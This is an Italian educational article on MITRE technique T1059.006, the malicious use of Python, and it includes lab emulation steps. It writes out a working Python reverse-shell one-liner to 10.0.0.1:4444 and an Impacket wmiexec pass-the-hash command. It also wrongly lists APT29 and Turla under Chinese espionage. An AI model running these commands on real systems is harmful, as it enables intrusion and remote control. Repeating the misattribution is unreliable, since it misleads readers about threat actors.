Esecuzione Python: Command and Scripting Interpreter - Python (T1059.006)

La tecnica T1059.006 descrive l'abuso dell'interprete Python come vettore di esecuzione di codice malevolo. Python è ubiquo sui sistemi moderni: preinstallato su macOS e la maggior parte delle distribuzioni Linux, ampiamente diffuso su appliance di rete, hypervisor ESXi e ambienti sviluppo Windows. Questa pervasività lo rende un living-off-the-land ideale, difficile da bloccare senza impattare operazioni legittime.

Collocata nella tattica TA0002 (Execution), la tecnica copre l'intera catena esecutiva: dagli script .py interattivi ai binari compilati con PyInstaller o py2exe, fino ai moduli embedded in web shell come FRAMESTING o reGeorg. Python offre agli attaccanti librerie native per file I/O, socket, subprocess, ptrace e manipolazione della memoria, permettendo di implementare backdoor complete, scanner di rete, downloader e ransomware senza dipendenze esterne.

I dati MITRE ATT&CK documentano 17 gruppi APT che sfruttano attivamente Python, 34 famiglie di malware scritte in tutto o in parte in Python, 4 campagne significative (tra cui Operation Wocao e Cutting Edge) e 4 mitigazioni principali. L'impatto è trasversale: dallo spionaggio cinese (APT29, Turla, ZIRCONIUM) all'infrastruttura VPN aziendale (Ivanti Connect Secure), dalla compromissione di hypervisor ESXi da parte di UNC3886 fino agli attacchi finanziariamente motivati contro Salesforce.

Per simulare la tecnica in laboratorio, il punto di partenza è disporre di un target con Python 3.x installato — condizione soddisfatta di default su macOS, quasi tutte le distro Linux e le appliance basate su BSD/Linux. Su Windows l'interprete è spesso presente in ambienti sviluppo, DevOps o data science.

Per un reverse shell minimale in stile Cutting Edge, il payload classico sfrutta il modulo pty per ottenere un TTY interattivo su Linux/macOS:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

Questa one-liner è funzionalmente equivalente a quanto osservato nella campagna ShadowRay contro istanze Ray esposte. Su Windows, sostituendo pty.spawn con subprocess.call(["cmd.exe"]) si ottiene lo stesso risultato.

Per catene più complete, i framework di riferimento sono SILENTTRINITY (open source), scritto in Python con moduli Boo.Lang per l'esecuzione .NET in-memory, e Pupy (open source), RAT multi-piattaforma con scriptlets personalizzabili. Entrambi permettono di testare TTP realistici in ambiente controllato. Per la generazione di shellcode eseguibile via Python è disponibile Donut (open source), che produce loader posizionali-indipendenti richiamabili tramite ctypes.

Per emulare UNC3886 su ESXi, l'attacco richiede accesso preesistente all'hypervisor. L'esecuzione avviene tramite la BusyBox shell embedded oppure caricando un interprete Python custom in /tmp/python/bin/. Uno script tipico enumera le VM guest via vim-cmd vmsvc/getallvms combinato con parsing Python dei file .vmx.

Per lateral movement in stile Cinnamon Tempest o RedCurl, la libreria Impacket (open source) fornisce wmiexec.py, smbexec.py e psexec.py — script Python che replicano la funzionalità di PsExec via SMB/WMI. Esempio:

python3 wmiexec.py -hashes :NTLMHASH domain/user@10.0.0.5

Per offuscazione e packaging, PyInstaller (open source) compila script in eseguibili standalone, replicando la tecnica di DropBook e Operation Wocao. Il flag --onefile --noconsole produce binari difficili da analizzare staticamente senza estrazione preventiva del PYZ archive tramite tool come pyinstxtractor (open source).

Per web shell in stile FRAMESTING o Neo-reGeorg (open source), il deploy richiede un server con supporto WSGI/CGI Python; il testing va condotto esclusivamente su appliance di laboratorio isolate.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.